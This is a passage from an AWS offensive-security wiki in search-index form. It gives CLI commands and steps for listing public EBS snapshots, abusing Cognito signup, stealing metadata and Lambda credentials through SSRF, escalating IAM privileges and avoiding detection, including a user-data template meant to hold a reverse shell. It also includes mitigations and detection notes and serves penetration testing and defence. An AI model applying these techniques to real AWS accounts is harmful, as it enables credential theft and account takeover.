      A lot of instances of resource exposure (and subsequent exploitation) in AWS require knowing the ARN of the resource. This provides some level of security-by-obscurity, as the attacker needs to find the ARN through some means (In some cases this can also apply to vulnerabilities in AWS services themselves).

      A somewhat unique trait of EBS snapshots is that, if they are set to public, the list of those EBS snapshots is publicly available through the AWS API. From the EC2 section in the AWS console, navigate to Elastic Block Store, Snapshots, and select Public snapshots from the drop down. This will show all publicly available EBS snapshots (you may have to scroll through to see an accurate count).

      To pull this list in an easily consumable format you can use the following CLI command:

      aws ec2 describe-snapshots --restorable-by-user-ids all\n

      As of the time of this writing there are tens of thousands of snapshots exposed. As a bonus, it is possible to filter this list by account ID, allowing you to easily target specific accounts.

      Tip

      This can be an easy, free (in terms of detection) check to look out for when exploiting AWS environments. If you steal IAM credentials, you can determine the account they are tied to and check for exposed EBS snapshots.

      To search for all public EBS snapshots associated with an AWS account, use the following command:

      aws ec2 describe-snapshots --restorable-by-user-ids all --owner-ids 000000000000\n
      "},{"location":"aws/enumeration/loot_public_ebs_snapshots/#identification","title":"Identification","text":"

      To find exposed EBS snapshots in your account you can use automated tooling such as Prowler, an open source tool to audit for AWS security. The following command can be used with version 3.0 or higher.

      ./prowler -c ec2_ebs_public_snapshot\n
      "},{"location":"aws/enumeration/loot_public_ebs_snapshots/#detection","title":"Detection","text":"

      When someone makes an EBS snapshot publicly accessible, CloudTrail generates an ec2:ModifySnapshotAttribute event with createVolumePermission set to {\"add\": {\"items\": [{ \"groups\": \"all\" }]}}. You can use Stratus Red Team's aws.exfiltration.ec2-share-ebs-snapshot to reproduce the issue and test your detections.

      "},{"location":"aws/enumeration/loot_public_ebs_snapshots/#additional-resources","title":"Additional Resources","text":"

      For additional information on the risks of exposed EBS snapshots, check out this DEF CON 27 talk, Finding Secrets In Publicly Exposed EBS Volumes by Ben Morris (slides available here).

      "},{"location":"aws/enumeration/whoami/","title":"Whoami - Get Principal Name From Keys","text":"

      After finding or obtaining IAM credentials during an assessment you will need to identify what they are used for, or if they are valid. The most common method for doing so would be the get-caller-identity API call. This is beneficial for several reasons, particularly because it requires no special permissions to execute.

      Unfortunately, although it is unlikely, there is the possibility that this API call may be monitored, especially for sensitive accounts. Additionally, if our goal is to remain as stealthy as possible, we might prefer not to use this method. As a result we need alternatives. Fortunately, many AWS services will disclose the calling role along with the account ID when an error is generated. It should be noted that the principal must lack IAM permissions for this call in order for the error to return the relevant information.

      Not all API calls exhibit this behavior. For example, failed EC2 API calls will return a message similar to the following:

      An error occurred (UnauthorizedOperation) when calling the DescribeInstances operation: You are not authorized to perform this operation.\n
      "},{"location":"aws/enumeration/whoami/#sqslistqueues","title":"sqs:ListQueues","text":"

      sqs:ListQueues is a quick API call which will return the calling identity's name and account ID without logging to CloudTrail. Note that the ListQueues action does not appear in the documentation for SQS's compatibility with CloudTrail.

      user@host:~$ aws sqs list-queues\n\nAn error occurred (AccessDenied) when calling the ListQueues operation: User: arn:aws:sts::123456789012:assumed-role/no_perms/no_perms is not authorized to perform: sqs:listqueues on resource: arn:aws:sqs:us-east-1:123456789012: because no identity-based policy allows the sqs:listqueues action\n
      "},{"location":"aws/exploitation/abusing-container-registry/","title":"Abusing Elastic Container Registry for Lateral Movement","text":"
      • Original Research

        • Abusing Elastic Container Registry (ECR) to own AWS environments by Roi Lavie
        • Docker Security : Backdooring Images with Dockerscan by Mayank Shah
      • Required IAM Permissions

        Read and write access to an ECR registry

      IAM (Identity and Access Management) is a set of consents that attach to identities, or cloud resources, to authorize what they can actually do. This means EC2 resources, and others like it, also have identities that can change the infrastructure itself. 43.9% of organizations have internet-facing workloads containing secrets and credentials, as a result, identity and access management (IAM) has become more critical than ever.

      This post is designed to show the impact of this attack technique and help security engineers and DevOps/SecOps to detect and understand the risks of ECR and other Container registries.

      Lateral Movement through AWS ECR In the following video, I will show how by using ECR permissions you can easily distribute a backdoor to production servers, developer's laptops, or CI/CD pipelines and own the environment by gaining privileged permissions.

      Video Summary:

      • An attacker\u2019s initial access can be through vulnerable applications (e.g SSRF), misconfiguration, leaked access keys, developer laptops, and more.
      • The attacker gains access to resources using access to ECR
      • The attacker pulls the latest docker image
      • The attacker adds a layer by injecting a malicious payload to the docker image
      • The attacker pushes the docker image to ECR with the latest tag
      • The victim pulls the latest docker image and starts the container
      • The malicious reverse shell is executed and communicates with the attacker
      • The attacker steals the server's IAM credentials (A reverse shell is an example of a simple payload but noisy technique. An attacker can inject the ECR with other techniques e.g. a hidden backdoor)

      Security Recommendations:

      • Least privileges \u2014 external facing apps should not have write access or wildcard (*) permissions on ECR
      • Secure CI/CD pipelines \u2014 Protect from any unauthorized access to source code repos or build tools.
      • Enforce signing of docker images
      • (see: https://github.com/notaryproject/notary)
      • Use docker custom security profiles like AppArmor, Seccomp
      • Audit and monitor access and actions on ECR using AWS CloudTrail (If you use Container Image scanning, be aware that it will only detect the vulnerabilities of the system and will not be able to detect malicious payloads within the containers)

      Conclusions: One of the main reasons I wrote this post is to share knowledge about the importance of container registry access, especially around ECR. Although this issue poses a high risk, it is not given the required attention it deserves. More awareness is needed around the potential damage that over-privileged services can introduce.

      "},{"location":"aws/exploitation/cognito_identity_pool_excessive_privileges/","title":"Overpermissioned AWS Cognito Identity Pools","text":"
      • Additional Resources

        • Exploit two of the most common vulnerabilities in Amazon Cognito with CloudGoat by Usama Rasheed
        • AWS Cognito pitfalls: Default settings attackers love (and you should know about) by Lorenzo Vogelsang

      A significant security flaw in applications using AWS Cognito for identity management can occur when identity pools are given excessive privileges. Excessive privileges in an Identity Pool mean that the identities (users) associated with that pool can perform actions beyond what is necessary for their role in the application.

      If an attacker successfully authenticates with the AWS Cognito service (such as through the unintended self-signup, and the corresponding identity pool has excessive privileges, the attacker can potentially perform actions that should be restricted. This might include accessing sensitive data, manipulating services, and, in some cases, privilege escalation.

      Sometimes, even unauthenticated (or anonymous users) can perform actions that should be restricted. This is because AWS Cognito allows unauthenticated users to be associated with an identity pool. If the identity pool has excessive privileges, unauthenticated users can perform actions that should be restricted.

      "},{"location":"aws/exploitation/cognito_identity_pool_excessive_privileges/#how-it-works","title":"How it works","text":"

      The process usually involves two key steps:

      "},{"location":"aws/exploitation/cognito_identity_pool_excessive_privileges/#identity-retrieval","title":"Identity Retrieval:","text":"

      This starts with an attacker successfully signing up or logging in to a vulnerable Cognito user pool. As we discussed in our previous post, this might be due to misconfigured access controls allowing unintended self-signup, or through credential stuffing, password spraying or other attack vectors against user accounts.

      When an attacker successfully authenticates, they get a set of identity tokens. The ID token, in particular, is a JWT (JSON Web Token) that contains claims about the identity of the authenticated user.

      "},{"location":"aws/exploitation/cognito_identity_pool_excessive_privileges/#excessive-privileges-exploitation","title":"Excessive Privileges Exploitation:","text":"

      The next step involves the attacker using this ID token to get temporary AWS credentials from an associated Cognito Identity Pool. The Identity Pool maps identities to IAM roles and provides them with temporary AWS credentials to access AWS services.

      However, if the IAM roles associated with the Identity Pool have excessive permissions, the temporary AWS credentials that the attacker receives will allow them to perform actions that they should not be allowed to. Depending on the assigned permissions, an attacker could potentially read sensitive data from an S3 bucket, manipulate a DynamoDB table, invoke Lambda functions, or even perform privilege escalation to gain administrative rights.

      "},{"location":"aws/exploitation/cognito_identity_pool_excessive_privileges/#exploitation","title":"Exploitation","text":"

      The following commands can be used to get the AWS credentials, assuming you have the ID token for a valid user:

      aws cognito-identity get-id --identity-pool-id {identity_pool_id} --account-id {account_id} --logins {login_provider}:{id_token}\n
      and then:
      aws cognito-identity get-credentials-for-identity --identity-id {identity_id} --logins {login_provider}:{id_token}\n

      "},{"location":"aws/exploitation/cognito_identity_pool_excessive_privileges/#impact","title":"Impact","text":"

      The severity of this vulnerability depends on the permissions associated with the Identity Pool. In the worst case, an attacker could perform actions that are equivalent to a full AWS account takeover. This could lead to data leakage, unauthorized modification of data, and potential compliance violations.

      However, if Identity Pools are configured in accordance with the principle of least privilege, the impact of this vulnerability is significantly reduced. In this case, the attacker would only be able to perform actions that are allowed by the associated IAM roles. This might include accessing data that they should not be able to access, but it would not allow them to perform privilege escalation and actions that are not allowed directly by the IAM roles.

      "},{"location":"aws/exploitation/cognito_user_self_signup/","title":"Unintended Self-Signup in AWS Cognito","text":"
      • Additional Resources

        • CloudGoat Scenario: vulnerable_cognito

      A common security flaw in SaaS applications that use Amazon Cognito as the IAM authn/authz source is allowing unintended/unauthorized account creation. Many times, such applications are intended to only allow Administrators to sign up users.

      However, applications using Cognito are frequently not explicitly configured to require Administrator only sign-up. Just because a sign-up page or button is not present in the application, doesn't mean that an attacker can't sign up for an account. If \"Admin Only\" signup is not enabled in the Cognito User Pool and an attacker can identify the Cognito User Pool Client ID and required sign-up parameters, they can sign up for an account using the AWS CLI.

      "},{"location":"aws/exploitation/cognito_user_self_signup/#how-it-works","title":"How it works","text":"

      Identifying a Cognito User Pool Client ID for web applications and mobile applications requires different approaches.

      "},{"location":"aws/exploitation/cognito_user_self_signup/#web-applications","title":"Web applications:","text":"

      An attacker may identify the User Pool Client ID in a web application by inspecting the source code. This typically involves the following steps:

      1. Opening the web application in a web browser.
      2. Using the browser's 'Inspect Element' or 'View Page Source' feature (usually accessible by right-clicking on the webpage and selecting it from the menu, or from the browser's tools menu). This allows viewing the HTML, CSS, and JavaScript code of the webpage.
      3. Looking for the initialization of the Amazon Cognito service in the JavaScript code. This often contains the User Pool Client ID. The code might look something like AWSCognito.config.update({UserPoolId:'...', ClientId:'...'});. The string after ClientId: would be the User Pool Client ID.

      It's worth noting that best practices encourage storing sensitive data like Client IDs server-side or using secure methods of storage and transmission. However, misconfigurations can lead to these details being exposed in client-side code.

      "},{"location":"aws/exploitation/cognito_user_self_signup/#mobile-applications","title":"Mobile applications:","text":"

      Obtaining the User Pool Client ID from a mobile application is more complex and requires a bit more technical know-how. The steps typically involve:

      1. Downloading the application package (APK for Android, IPA for iOS) to a local device.
      2. Using a software tool to decompile the application package into its constituent files. There are several tools available for this purpose, such as apktool for Android applications or otool/class-dump for iOS applications.
      3. Searching through the decompiled files for references to Amazon Cognito or the User Pool Client ID. This could be in the form of a configuration file or embedded within the application's code.
      "},{"location":"aws/exploitation/cognito_user_self_signup/#exploitation","title":"Exploitation","text":"

      Once an attacker has identified the User Pool Client ID, they can use the AWS CLI to sign up for an account. The attacker will need to know the required sign-up parameters, which may be obtained by inspecting the sign-up page or form in the web or mobile application. The attacker can then use the following command to sign up for an account:

      $ aws cognito-idp sign-up --client-id {client_id} --username {desired_username} --password {desired_password}\n

      If the sign-up request fails with InvalidParameterException, it means additional user attributes are needed. In many cases, an email address is required. The attacker can then try again with the email address.

      $ aws cognito-idp sign-up --client-id {client_id} --username {desired_username} --password {desired_password} --user-attributes Name=email,Value={email_address}\n
      "},{"location":"aws/exploitation/cognito_user_self_signup/#impact","title":"Impact","text":"

      The impact of this vulnerability depends on the application. In some cases, the application may not be affected at all. In other cases, the application may be affected in a variety of ways.

      Authenticated users of an application may be allowed to perform actions that they should not be able to perform. Perhaps the application allows data to be shared between users, and the attacker can use the application to share data with other users. Perhaps the application allows users to perform actions that cost money, and the attacker can use the application to perform actions that cost money. Perhaps the application allows users to perform actions that are not allowed by the application's terms of service, and the attacker can use the application to perform actions that are not allowed by the application's terms of service.

      In addition, the attacker may be able to exchange authenticated user access for AWS credentials. This could allow the attacker to perform actions in AWS that they should not be able to perform. See Cognito Identity Pool Excessive Privileges for more information.

      "},{"location":"aws/exploitation/ec2-metadata-ssrf/","title":"Steal EC2 Metadata Credentials via SSRF","text":"

      Note

      This is a common and well known attack in AWS environments. Mandiant has identified attackers performing automated scanning of vulnerabilities to harvest IAM credentials from publicly-facing web applications. To mitigate the risks of this for your organization, it would be beneficial to enforce IMDSv2 for all EC2 instances which has additional security benefits. IMDSv2 would significantly reduce the risk of an adversary stealing IAM credentials via SSRF or XXE attacks.

      One of the most common techniques in AWS exploitation is abusing the Instance Metadata Service (IMDS) associated with a target EC2 instance.

      Most EC2 instances can access their IMDS at 169.254.169.254. This service is only accessible from the specific EC2 instance it is associated with. The instance metadata service contains useful information about the instance, such as its IP address, its instance type, the name of the security groups associated with it, etc.

      If an EC2 instance has an IAM role attached to it, IAM credentials associated with that role can be retrieved from the metadata service. Because of this, attackers will frequently target the IMDS to steal those credentials.

      "},{"location":"aws/exploitation/ec2-metadata-ssrf/#stealing-iam-credentials-from-the-instance-metadata-service","title":"Stealing IAM Credentials from the Instance Metadata Service","text":"

      If the EC2 instance is configured to use the default instance metadata service version 1, it is possible to steal IAM credentials from the instance without getting code execution on it.

      This can be done by abusing existing applications running on the host. By exploiting common vulnerabilities such as server side request forgery (SSRF) or XML external entity (XXE) flaws, an adversary can coerce an application running on the host to retrieve those IAM credentials.

      To demonstrate this, in the following example there is a web server running on port 80 of the EC2 instance. This web server has a simple SSRF vulnerability, allowing us to make GET requests to arbitrary addresses. We can leverage this to make a request to http://169.254.169.254.

      To determine if the EC2 instance has an IAM role associated with it, we can make a request to http://169.254.169.254/latest/meta-data/iam/. A 404 response indicates there is no IAM role associated. You may also get a 200 response that is empty, this indicates that there was an IAM Role however it has since been revoked.

      If there is a valid role we can steal, we can make a request to http://169.254.169.254/latest/meta-data/iam/security-credentials/. This will return the name of the IAM role associated with the credentials. In the example below we see that the role name is 'ec2-default-ssm'.

      To retrieve the credentials, we can append the role name to the previous query. For example, with the role name shown previously, the query would be http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-default-ssm/.

      These credentials can then be used in the AWS CLI to make calls to the API. To learn more about using stolen IAM credentials, check out this comprehensive guide.

      Note

      An adversary who has gained code execution on the EC2 instance can retrieve credentials from the IMDS regardless of the version being used. Therefore, it is important to continually monitor your environment for suspicious activities.

      "},{"location":"aws/exploitation/ec2-metadata-ssrf/#additional-resources","title":"Additional Resources","text":"

      For an example of this technique being used in the wild along with additional information, please see Kevin Fang's excellent video on the 2019 Capital One breach.

      "},{"location":"aws/exploitation/iam_privilege_escalation/","title":"AWS IAM Privilege Escalation Techniques","text":"
      • Original Research

        AWS IAM Privilege Escalation \u2013 Methods and Mitigation by Spencer Gietzen

      • Additional Resources

        • AWS IAM Privilege Escalation Methods
        • Well, That Escalated Quickly: Privilege Escalation in AWS by Gerben Kleijn

      Note

      If you'd like to get hands on experience exploiting these misconfigurations, check out iam-vulnerable by Seth Art.

      "},{"location":"aws/exploitation/iam_privilege_escalation/#codestarcreateproject-codestarassociateteammember","title":"codestar:CreateProject, codestar:AssociateTeamMember","text":"

      With access to the codestar:CreateProject and codestar:AssociateTeamMember permissions, an adversary can create a new CodeStar project and associate themselves as an Owner of the project.

      This will attach a new policy to the user that provides access to a number of permissions for AWS services. This is most useful for further enumeration as it gives access to lambda:List*, iam:ListRoles, iam:ListUsers, and more.

      "},{"location":"aws/exploitation/iam_privilege_escalation/#glueupdatedevendpoint","title":"glue:UpdateDevEndpoint","text":"

      With access to the glue:UpdateDevEndpoint permission, an adversary can update the existing SSH key associated with the glue endpoint. This will allow the adversary to SSH into the host and gain access to IAM credentials associated with the role attached to the glue endpoint. Though not required, it may be helpful to have the glue:GetDevEndpoint permission as well, if the existing endpoint cannot be identified via other means.

      "},{"location":"aws/exploitation/iam_privilege_escalation/#iamaddusertogroup","title":"iam:AddUserToGroup","text":"

      With access to the iam:AddUserToGroup permission, an adversary can add an IAM user they control to an existing group with more privileges. Although this is not required, it may be helpful to have other permissions in the IAM family to identify other groups and their privileges.

      "},{"location":"aws/exploitation/iam_privilege_escalation/#iamattachgrouppolicy","title":"iam:AttachGroupPolicy","text":"

      With access to the iam:AttachGroupPolicy permission, an adversary can attach an IAM policy to a group they are a member of. This potentially includes policies such as AdministratorAccess, which would provide them (surprise) administrator access to the AWS account.

      "},{"location":"aws/exploitation/iam_privilege_escalation/#iamattachrolepolicy","title":"iam:AttachRolePolicy","text":"

      With access to the iam:AttachRolePolicy permission, an adversary can attach an IAM policy to a role they have access to. This potentially includes policies such as AdministratorAccess, which would provide them administrator access to the AWS account.

      "},{"location":"aws/exploitation/iam_privilege_escalation/#iamattachuserpolicy","title":"iam:AttachUserPolicy","text":"

      With access to the iam:AttachUserPolicy permission, an adversary can attach an IAM policy to an IAM user they have access to. This potentially includes policies such as AdministratorAccess, which would provide them administrator access to the AWS account.

      "},{"location":"aws/exploitation/iam_privilege_escalation/#iamcreateaccesskey","title":"iam:CreateAccessKey","text":"

      With access to the iam:CreateAccessKey permission, an adversary can create an IAM Access Key and Secret Access Key for other users. This would allow them to create credentials for more privileged users and have access to their privileges.

      "},{"location":"aws/exploitation/iam_privilege_escalation/#iamcreateloginprofile","title":"iam:CreateLoginProfile","text":"

      With access to the iam:CreateLoginProfile permission, an adversary can create a password for a more privileged IAM user to login to the console as. Note: if a password is already set, you must use iam:UpdateLoginProfile instead.

      "},{"location":"aws/exploitation/iam_privilege_escalation/#iamcreatepolicyversion","title":"iam:CreatePolicyVersion","text":"

      With access to the iam:CreatePolicyVersion permission, an adversary can create a new version of a existing policy with more privilege. If the adversary has access to the principal that policy is attached to, they can elevate their privileges.

      "},{"location":"aws/exploitation/iam_privilege_escalation/#iamdeleterolepermissionsboundary","title":"iam:DeleteRolePermissionsBoundary","text":"

      With access to the iam:DeleteRolePermissionsBoundary permission, an adversary can remove a permissions boundary from a role they have access to. This may increase the role's effective permissions if the permissions boundary was more restrictive than any of the role's identity-based policies.

      "},{"location":"aws/exploitation/iam_privilege_escalation/#iamdeleterolepolicy","title":"iam:DeleteRolePolicy","text":"

      With access to the iam:DeleteRolePolicy permission, an adversary can delete an inline policy from a role they have access to. This may increase the role's effective permissions if the policy contains explicit deny statements that any of the role's other policies allow.

      "},{"location":"aws/exploitation/iam_privilege_escalation/#iamdeleteuserpermissionsboundary","title":"iam:DeleteUserPermissionsBoundary","text":"

      With access to the iam:DeleteUserPermissionsBoundary permission, an adversary can remove a permissions boundary from a user they have access to. This may increase the user's effective permissions if the permissions boundary was more restrictive than any of the role's identity-based policies.

      "},{"location":"aws/exploitation/iam_privilege_escalation/#iamdeleteuserpolicy","title":"iam:DeleteUserPolicy","text":"

      With access to the iam:DeleteUserPolicy permission, an adversary can delete an inline policy from a user they have access to. This may increase the user's effective permissions if the policy contains explicit deny statements that any of the user's other policies allow.

      "},{"location":"aws/exploitation/iam_privilege_escalation/#iamdetachrolepolicy","title":"iam:DetachRolePolicy","text":"

      With access to the iam:DetachRolePolicy permission, an adversary can remove a managed policy from a role they have access to. This may increase the role's effective permissions if the policy contains explicit deny statements that any of the role's other policies allow.

      "},{"location":"aws/exploitation/iam_privilege_escalation/#iamdetachuserpolicy","title":"iam:DetachUserPolicy","text":"

      With access to the iam:DetachUserPolicy permission, an adversary can remove a managed policy from a user they have access to. This may increase the user's effective permissions if the policy contains explicit deny statements that any of the user's other policies allow.

      "},{"location":"aws/exploitation/iam_privilege_escalation/#iampassrole-autoscalingcreateautoscalinggroup-or-autoscalingupdateautoscalinggroup-autoscalingcreatelaunchconfiguration","title":"iam:PassRole, autoscaling:CreateAutoScalingGroup or autoscaling:UpdateAutoScalingGroup, autoscaling:CreateLaunchConfiguration,","text":"

      With access to the iam:PassRole, autoscaling:CreateLaunchConfiguration, autoscaling:CreateAutoScalingGroup, and autoscaling:UpdateAutoScalingGroup permissions, an adversary can create a launch configuration and leverage it in an autoscaling group to pass a more privileged role to it. This would allow an adversary to escalate privileges to that more privileged role.

      "},{"location":"aws/exploitation/iam_privilege_escalation/#iampassrole-autoscalingcreateautoscalinggroup-or-autoscalingupdateautoscalinggroup-ec2createlaunchtemplate","title":"iam:PassRole, autoscaling:CreateAutoScalingGroup or autoscaling:UpdateAutoScalingGroup, ec2:CreateLaunchTemplate","text":"

      With access to the iam:PassRole, ec2:CreateLaunchTemplate, autoscaling:CreateAutoScalingGroup, and autoscaling:UpdateAutoScalingGroup permissions, an adversary can create a launch template and leverage it in an autoscaling group to pass a more privileged role to it. This would allow an adversary to escalate privileges to that more privileged role.

      "},{"location":"aws/exploitation/iam_privilege_escalation/#iampassrole-cloudformationcreatestack","title":"iam:PassRole, cloudformation:CreateStack","text":"

      With access to the iam:PassRole and cloudformation:CreateStack permissions, an adversary can create a new CloudFormation stack and pass a more privileged role to it. This would allow an adversary to escalate privileges to that more privileged role.

      "},{"location":"aws/exploitation/iam_privilege_escalation/#iampassrole-codestarcreateproject","title":"iam:PassRole, codestar:CreateProject","text":"

      With access to the iam:PassRole and codestar:CreateProject permissions, an adversary can create a new CodeStar project and pass a more privileged role to it. This would allow an adversary to escalate privileges to that more privileged role including that of an administrator.

      "},{"location":"aws/exploitation/iam_privilege_escalation/#iampassrole-datapipelineactivatepipeline-datapipelinecreatepipeline-datapipelineputpipelinedefinition","title":"iam:PassRole, datapipeline:ActivatePipeline, datapipeline:CreatePipeline, datapipeline:PutPipelineDefinition","text":"

      With access to the iam:PassRole, datapipeline:ActivatePipeline, datapipeline:CreatePipeline, and datapipeline:PutPipelineDefinition permissions, an adversary can create a new pipeline and pass in a more privileged role. It is worth noting that to do this the AWS account must already contain a role that can be assumed by DataPipeline and that role must have greater privileges (or at least different ones) than the principal the adversary controls.

      "},{"location":"aws/exploitation/iam_privilege_escalation/#iampassrole-ec2runinstances","title":"iam:PassRole, ec2:RunInstances","text":"

      With access to the iam:PassRole and ec2:RunInstances permissions, an adversary can create a new EC2 instance and pass a more privileged role to it.

      This can be taken advantage of with the following one-liner:

      Some things to note: The instance profile must already exist, and (realistically) it must have greater permissions than the role you have access to. If you also have the ability to create a role, this can be leveraged (although you may as well set the trust policy of that role to one you control at that point). The role that is being passed must have a trust policy allowing the EC2 service to assume it. You cannot pass arbitrary roles to an EC2 instance.

      A common misconception about this attack is that an adversary must have access to an existing SSH key, or be able to spawn an SSM session. This is not actually true, you can leverage user data to perform an action on the host. One common example is to have the EC2 instance curl the metadata service, retrieve the IAM credentials, and then send them to an attacker controlled machine using curl.

      Another (stealthier) example would be to perform all your API operations at once in the user-data script. This way you are not dinged with the IAM credential exfiltration finding (which can be bypassed).

      "},{"location":"aws/exploitation/iam_privilege_escalation/#iampassrole-gluecreatedevendpoint","title":"iam:PassRole, glue:CreateDevEndpoint","text":"

      With access to the iam:PassRole and glue:CreateDevEndpoint permissions, an adversary can create a new Glue development endpoint and pass in a more privileged role. It is worth noting that to do this the AWS account must already contain a role that can be assumed by Glue and that role must have greater privileges (or at least different ones) than the principal the adversary controls.

      "},{"location":"aws/exploitation/iam_privilege_escalation/#iampassrole-gluecreatejob","title":"iam:PassRole, glue:CreateJob","text":"

      With access to the iam:PassRole and glue:CreateJob permissions, an adversary can create a new Glue job and pass in a more privileged role. The AWS account must already contain a role that can be assumed by Glue and that role must have greater privileges (or at least different ones) than the principal the adversary controls. The glue:StartJobRun privilege would allow for the job to be run.

      "},{"location":"aws/exploitation/iam_privilege_escalation/#iampassrole-glueupdatejob","title":"iam:PassRole, glue:UpdateJob","text":"

      With access to the iam:PassRole and glue:UpdateJob permissions, an adversary can update the role and command associated with a Glue job. The AWS account must already contain a role that can be assumed by Glue and that role must have greater privileges (or at least different ones) than the principal the adversary controls. The glue:StartJobRun privilege or some pre-existing trigger could cause the job to run.

      "},{"location":"aws/exploitation/iam_privilege_escalation/#iampassrole-lambdaaddpermission-lambdacreatefunction","title":"iam:PassRole, lambda:AddPermission, lambda:CreateFunction","text":"

      With access to the iam:PassRole, lambda:AddPermission, and lambda:CreateFunction permissions, an adversary can create a Lambda function with an existing role. This function could then by updated with lambda:AddPermission to allow another principal in another AWS account the permission to invoke it. It is worth noting that the AWS account must already contain a role that can be assumed by Lambda.

      "},{"location":"aws/exploitation/iam_privilege_escalation/#iampassrole-lambdacreateeventsourcemapping-lambdacreatefunction","title":"iam:PassRole, lambda:CreateEventSourceMapping, lambda:CreateFunction","text":"

      With access to the iam:PassRole, lambda:CreateEventSourceMapping, and lambda:CreateFunction permissions, an adversary can create a Lambda function with an existing privileged role and associating it with a DynamoDB table. Then, when a new record is inserted into the table, the Lambda function will trigger with the privilege of the passed in role.

      It is worth noting that the AWS account must already contain a role that can be assumed by Lambda. Additionally, while not required, it may be beneficial to have the dynamodb:CreateTable and dynamodb:PutItem permissions to trigger this yourself.

      "},{"location":"aws/exploitation/iam_privilege_escalation/#iampassrole-lambdacreatefunction-lambdainvokefunction","title":"iam:PassRole, lambda:CreateFunction, lambda:InvokeFunction","text":"

      With access to the iam:PassRole, lambda:CreateFunction, and lambda:InvokeFunction permissions, an adversary can create a new Lambda function and pass an existing role to it. They can then invoke the function allowing them access to the privileges of the role associated with the function. It is worth noting that unless the adversary can create a role, they must use an already existing role that can be assumed by Lambda.

      "},{"location":"aws/exploitation/iam_privilege_escalation/#iamputgrouppolicy","title":"iam:PutGroupPolicy","text":"

      With access to the iam:PutGroupPolicy permission, an adversary can create an inline policy for a group they are in and give themselves administrator access to the AWS account.

      "},{"location":"aws/exploitation/iam_privilege_escalation/#iamputrolepermissionsboundary","title":"iam:PutRolePermissionsBoundary","text":"

      With access to the iam:PutRolePermissionsBoundary permission, an adversary can update a permissions boundary attached to a role they have access to. This may increase the role's effective permissions if the permissions boundary was more restrictive than any of the role's identity-based policies.

      "},{"location":"aws/exploitation/iam_privilege_escalation/#iamputrolepolicy","title":"iam:PutRolePolicy","text":"

      With access to the iam:PutRolePolicy permission, an adversary can create an inline policy for a role they have access to and give themselves administrator access to the AWS account.

      "},{"location":"aws/exploitation/iam_privilege_escalation/#iamputuserpermissionsboundary","title":"iam:PutUserPermissionsBoundary","text":"

      With access to the iam:PutUserPermissionsBoundary permission, an adversary can update a permissions boundary attached to a user they have access to. This may increase the user's effective permissions if the permissions boundary was more restrictive than any of the role's identity-based policies.

      "},{"location":"aws/exploitation/iam_privilege_escalation/#iamputuserpolicy","title":"iam:PutUserPolicy","text":"

      With access to the iam:PutUserPolicy permission, an adversary can create an inline policy for a user they have access to and give themselves administrator access to the AWS account.

      "},{"location":"aws/exploitation/iam_privilege_escalation/#iamsetdefaultpolicyversion","title":"iam:SetDefaultPolicyVersion","text":"

      With access to the iam:SetDefaultPolicyVersion permission, an adversary can revert a policy associated with their principal to a previous version. This is useful for scenarios in which a previous version of a policy had more access than the current version.

      "},{"location":"aws/exploitation/iam_privilege_escalation/#iamupdateassumerolepolicy","title":"iam:UpdateAssumeRolePolicy","text":"

      With access to the iam:UpdateAssumeRolePolicy permission, an adversary can modify the assume-role policy of a role, allowing them to assume it. This is useful to gain access to administrator roles, or other more privileged roles.

      "},{"location":"aws/exploitation/iam_privilege_escalation/#iamupdateloginprofile","title":"iam:UpdateLoginProfile","text":"

      With access to the iam:UpdateLoginProfile permission, an adversary can change the password of an IAM user. This would allow them to log into the console as that user.

      "},{"location":"aws/exploitation/iam_privilege_escalation/#lambdaupdatefunctioncode","title":"lambda:UpdateFunctionCode","text":"

      With access to the lambda:UpdateFunctionCode permission, an adversary can modify an existing Lambda function's code. This would allow them to gain access to the privileges of the associated IAM role the next time the function is executed.

      "},{"location":"aws/exploitation/iam_privilege_escalation/#lambdaupdatefunctionconfiguration","title":"lambda:UpdateFunctionConfiguration","text":"

      With access to the lambda:UpdateFunctionConfiguration permission, an adversary can modify an existing Lambda function's configuration to add a new Lambda Layer. This Layer would then override an existing library and allow an adversary to execute malicious code under the privilege of the role associated with the Lambda function.

      "},{"location":"aws/exploitation/lambda-steal-iam-credentials/","title":"Steal IAM Credentials and Event Data from Lambda","text":"
      • Technique seen in the wild

        Reference: Compromised Cloud Compute Credentials: Case Studies From the Wild

      In Lambda, IAM credentials are passed into the function via environment variables. The benefit for the adversary is that these credentials can be leaked via file read vulnerabilities such as XML External Entity attacks or SSRF that allows the file protocol. This is because \"everything is a file\".

      IAM credentials can be accessed via reading /proc/self/environ.

      Note

      In the event that /proc/self/environ is blocked by a WAF, check if you can read the environment variables of other processes. This can be done by reading /proc/#/environ where '#' is some number often between 1 and 20.

      In addition to IAM credentials, Lambda functions also have event data that is passed to the function when it is started. This data is made available to the function via the runtime interface. Unlike IAM credentials, this data is accessible over standard SSRF at http://169.254.100.1:9001/2018-06-01/runtime/invocation/next. Additionally the environment variable AWS_LAMBDA_RUNTIME_API stores the IP address and port of the runtime interface as well.

      This will include information about what invoked the Lambda function and may be valuable depending on the context.

      Note

      Unlike IAM credentials associated with EC2 instances, there is no GuardDuty alert for stolen Lambda credentials.

      "},{"location":"aws/exploitation/local_ec2_priv_esc_through_user_data/","title":"EC2 Privilege Escalation Through User Data","text":"

      If you've gained a foothold on an EC2 instance, use these these techniques to escalate privileges to root/System on the host.

      "},{"location":"aws/exploitation/local_ec2_priv_esc_through_user_data/#ec2modifyinstanceattribute","title":"ec2:ModifyInstanceAttribute","text":"
      • Required IAM Permissions

        • ec2:ModifyInstanceAttribute
      • Recommended but not Required IAM Permissions

        • ec2:StartInstances
        • ec2:DescribeInstances
        • ec2:StopInstances
      • Original Research

        aws_pwn:elevation by Daniel Grzelak

      If an adversary has access to the modify-instance attribute permission they can leverage it to escalate to root/System on an EC2 instance.

      Usually, user data scripts are only run the first time the instance is started, however this can be changed using cloud-init to run every time the instance restarts.

      To do this, first create a file in the following format.

      Content-Type: multipart/mixed; boundary=\"//\"\nMIME-Version: 1.0\n\n--//\nContent-Type: text/cloud-config; charset=\"us-ascii\"\nMIME-Version: 1.0\nContent-Transfer-Encoding: 7bit\nContent-Disposition: attachment; filename=\"cloud-config.txt\"\n\n#cloud-config\ncloud_final_modules:\n- [scripts-user, always]\n\n--//\nContent-Type: text/x-shellscript; charset=\"us-ascii\"\nMIME-Version: 1.0\nContent-Transfer-Encoding: 7bit\nContent-Disposition: attachment; filename=\"userdata.txt\"\n\n#!/bin/bash\n**commands here**\n--//\n

      Modify the commands here section to do whatever action you want. Setting a reverse shell, adding an ssh key to the default user, etc. are all good options.

      Once you've done that, convert the file to base64. Linux can do this with the following command.

